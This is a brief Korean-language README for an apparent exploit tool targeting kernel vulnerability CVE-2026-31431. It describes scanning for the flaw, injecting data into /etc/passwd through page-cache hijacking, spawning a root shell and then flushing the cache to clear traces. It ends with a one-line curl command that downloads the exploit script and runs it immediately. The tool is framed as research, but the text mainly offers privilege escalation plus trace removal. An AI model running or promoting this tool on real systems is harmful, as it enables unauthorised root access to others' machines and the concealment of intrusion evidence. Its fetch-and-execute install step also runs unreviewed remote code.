CVE-2026-31431 감사

이 프로젝트는 시스템이 CVE-2026-31431에 취약한지 확인하고 연구 목적으로 이를 악용하는 방법을 시연하는 전문 Python 스크립트를 제공합니다.

🎬 전체 워크플로우

아래 다이어그램은 환경 감사(SCAN), 패치 주입(PUNCH), 루트 권한 상승(SHELL), 마지막으로 추적 정리(CLEAN)에 이르는 전체 워크플로우를 보여줍니다:

🛠 핵심 기능

• 탐지: 비파괴적 섀도우 시퀀스를 사용하여 현재 커널이 CVE-2026-31431 취약점의 영향을 받는지 확인합니다.
• 악용: 페이지 캐시 하이재킹을 통해 취약점을 활용하여 권한 상승 시뮬레이션을 위해 /etc/passwd에 데이터를 주입합니다.
• 검증: 상승된 권한을 확인하고 루트 액세스를 얻기 위해 대화형 환경을 호출합니다.
• 정리: 시스템 페이지 캐시를 플러시하여 감사 상태를 복원하고 시스템 일관성을 보장합니다.

🚀 사용법

curl -fsSL https://raw.githubusercontent.com/MarioHY/cve_2026_31431_audit/main/exploit.py -o exploit.py && chmod +x exploit.py && ./exploit.py